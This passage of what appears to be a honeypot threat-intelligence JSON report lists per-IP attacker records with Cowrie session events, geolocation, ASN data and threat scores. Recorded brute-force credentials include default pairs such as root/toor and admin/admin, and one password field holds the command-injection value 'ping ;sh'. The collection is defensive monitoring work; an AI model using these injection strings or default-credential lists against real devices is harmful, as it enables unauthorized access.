      "usernames_attempted": [
        "enable",
        "enablediag",
        "linuxshell",
        "shell"
      ],
      "passwords_attempted": [
        "ironport",
        "ping ;sh",
        "sh",
        "system"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Samut Sakhon",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T07:12:52.817000+00:00",
        "last_seen_30d": "2026-04-01T07:14:11.779000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 2
      }
    },
    "34.38.6.243": {
      "attack_count": 8,
      "first_seen": "2026-04-26T05:22:39.981Z",
      "last_seen": "2026-04-26T05:23:11.810Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:22:39.981000+00:00",
        "last_seen_30d": "2026-04-26T05:24:21.235000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "117.50.213.145": {
      "attack_count": 7,
      "first_seen": "2026-04-30T21:04:35.814Z",
      "last_seen": "2026-04-30T21:06:36.356Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:04:35.814000+00:00",
        "last_seen_30d": "2026-04-30T21:16:39.490000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "195.184.76.239": {
      "attack_count": 7,
      "first_seen": "2026-04-14T20:06:55.970Z",
      "last_seen": "2026-04-14T20:07:25.369Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 60.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 25,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:26:10+00:00",
        "last_seen_30d": "2026-04-25T10:41:21.043000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 16,
        "Cowrie": 7
      }
    },
    "20.163.59.190": {
      "attack_count": 7,
      "first_seen": "2026-04-28T09:40:48.157Z",
      "last_seen": "2026-04-28T09:40:58.158Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-12T04:53:05+00:00",
        "last_seen_30d": "2026-04-30T00:40:58.810000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "113.30.4.117": {
      "attack_count": 6,
      "first_seen": "2026-04-20T14:59:20.797Z",
      "last_seen": "2026-04-24T17:15:23.695Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongdaemun",
      "asn": 9971,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T14:59:20.797000+00:00",
        "last_seen_30d": "2026-04-24T17:16:24.164000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.172.203": {
      "attack_count": 6,
      "first_seen": "2026-04-02T23:35:51.375Z",
      "last_seen": "2026-04-02T23:36:28.459Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T20:31:13+00:00",
        "last_seen_30d": "2026-04-30T05:02:47.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 43,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "Dionaea": 4,
        "ElasticPot": 4,
        "Dicompot": 1,
        "Ipphoney": 1,
        "Mailoney": 1
      }
    },
    "84.76.123.222": {
      "attack_count": 6,
      "first_seen": "2026-04-17T03:30:17.897Z",
      "last_seen": "2026-04-17T03:35:17.134Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T03:30:17.897000+00:00",
        "last_seen_30d": "2026-04-17T03:46:16.515000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "161.142.152.106": {
      "attack_count": 5,
      "first_seen": "2026-04-04T17:38:38.623Z",
      "last_seen": "2026-04-04T17:38:44.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Puchong",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T17:38:38.623000+00:00",
        "last_seen_30d": "2026-04-04T17:39:50.015000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 1
      }
    },
    "198.235.24.138": {
      "attack_count": 4,
      "first_seen": "2026-04-10T16:52:15.517Z",
      "last_seen": "2026-04-10T16:52:18.673Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 28,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T04:40:10+00:00",
        "last_seen_30d": "2026-04-30T14:03:36.668000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 10,
        "Cowrie": 4,
        "Dionaea": 4,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "36.35.146.108": {
      "attack_count": 4,
      "first_seen": "2026-04-19T11:11:15.784Z",
      "last_seen": "2026-04-19T11:11:16.347Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T11:11:15.784000+00:00",
        "last_seen_30d": "2026-04-19T11:21:25.370000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.156.128.96": {
      "attack_count": 4,
      "first_seen": "2026-04-18T10:36:37.676Z",
      "last_seen": "2026-04-18T10:36:45.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 24,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T20:34:32+00:00",
        "last_seen_30d": "2026-04-26T09:49:37.544000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 55,
        "Cowrie": 4,
        "Dionaea": 4,
        "H0neytr4p": 2
      }
    },
    "51.158.205.203": {
      "attack_count": 4,
      "first_seen": "2026-04-05T08:31:17.542Z",
      "last_seen": "2026-04-06T16:29:27.724Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 67.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T06:11:38+00:00",
        "last_seen_30d": "2026-04-30T13:43:39.208000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 24,
        "Cowrie": 4
      }
    },
    "65.49.1.126": {
      "attack_count": 4,
      "first_seen": "2026-04-20T13:06:37.589Z",
      "last_seen": "2026-04-20T13:06:41.595Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 73.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 30,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T11:00:47.589000+00:00",
        "last_seen_30d": "2026-04-30T15:04:58.533000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "149.88.88.251": {
      "attack_count": 3,
      "first_seen": "2026-04-17T18:29:15.622Z",
      "last_seen": "2026-04-17T18:30:18.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kwai Chung",
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T11:23:08+00:00",
        "last_seen_30d": "2026-04-17T18:31:22.928000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "165.232.138.0": {
      "attack_count": 3,
      "first_seen": "2026-04-28T19:30:16.253Z",
      "last_seen": "2026-04-28T19:30:16.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 17,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-12T05:39:52.262000+00:00",
        "last_seen_30d": "2026-04-28T19:31:26.996000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 10,
        "Cowrie": 3,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "46.224.203.189": {
      "attack_count": 3,
      "first_seen": "2026-04-14T20:26:21.647Z",
      "last_seen": "2026-04-14T20:27:22.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 10.0,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 12,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T20:26:21.647000+00:00",
        "last_seen_30d": "2026-04-25T11:34:34.144000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 3
      }
    },
    "1.34.254.107": {
      "attack_count": 2,
      "first_seen": "2026-04-30T22:22:55.004Z",
      "last_seen": "2026-04-30T22:23:42.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:22:55.004000+00:00",
        "last_seen_30d": "2026-04-30T22:24:50.402000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "110.37.95.229": {
      "attack_count": 2,
      "first_seen": "2026-04-03T23:00:25.456Z",
      "last_seen": "2026-04-03T23:00:37.961Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T23:00:25.456000+00:00",
        "last_seen_30d": "2026-04-03T23:01:44.651000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "110.54.127.34": {
      "attack_count": 2,
      "first_seen": "2026-04-24T13:29:53.635Z",
      "last_seen": "2026-04-24T13:30:25.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kasuga",
      "asn": 7679,
      "as_org": "QTnet,Inc.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T13:29:53.635000+00:00",
        "last_seen_30d": "2026-04-24T13:31:33.700000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.148.204.253": {
      "attack_count": 2,
      "first_seen": "2026-04-29T12:09:47.391Z",
      "last_seen": "2026-04-29T12:10:19.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T12:09:47.391000+00:00",
        "last_seen_30d": "2026-04-29T12:11:21.604000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "142.93.9.201": {
      "attack_count": 2,
      "first_seen": "2026-04-06T23:34:17.304Z",
      "last_seen": "2026-04-06T23:34:27.576Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:34:17.304000+00:00",
        "last_seen_30d": "2026-04-06T23:35:33.462000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "149.102.91.188": {
      "attack_count": 2,
      "first_seen": "2026-04-29T20:11:07.234Z",
      "last_seen": "2026-04-29T20:11:19.286Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Castanhal",
      "asn": 266445,
      "as_org": "SEA TELECOM LTDA",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:11:07.234000+00:00",
        "last_seen_30d": "2026-04-29T20:12:20.291000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.20.182.24": {
      "attack_count": 2,
      "first_seen": "2026-04-28T00:24:22.126Z",
      "last_seen": "2026-04-28T00:24:25.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 266200,
      "as_org": "EX2NET TELECOMUNICACOES - LTDA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T00:24:22.126000+00:00",
        "last_seen_30d": "2026-04-28T00:25:31.521000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "173.249.24.241": {
      "attack_count": 2,
      "first_seen": "2026-04-24T10:55:11.738Z",
      "last_seen": "2026-04-24T10:55:31.713Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T10:55:11.738000+00:00",
        "last_seen_30d": "2026-04-24T10:56:39.254000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.44.42.134": {
      "attack_count": 2,
      "first_seen": "2026-04-29T06:32:47.058Z",
      "last_seen": "2026-04-29T06:34:47.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Taubat\u00e9",
      "asn": 28202,
      "as_org": "MASTER SA",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:32:47.058000+00:00",
        "last_seen_30d": "2026-04-29T06:45:27.466000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.23.25.139": {
      "attack_count": 2,
      "first_seen": "2026-04-04T01:16:02.881Z",
      "last_seen": "2026-04-04T01:16:16.977Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Merlo",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T01:16:02.881000+00:00",
        "last_seen_30d": "2026-04-04T01:17:22.735000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.88.98.87": {
      "attack_count": 2,
      "first_seen": "2026-04-03T23:03:32.437Z",
      "last_seen": "2026-04-03T23:03:32.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
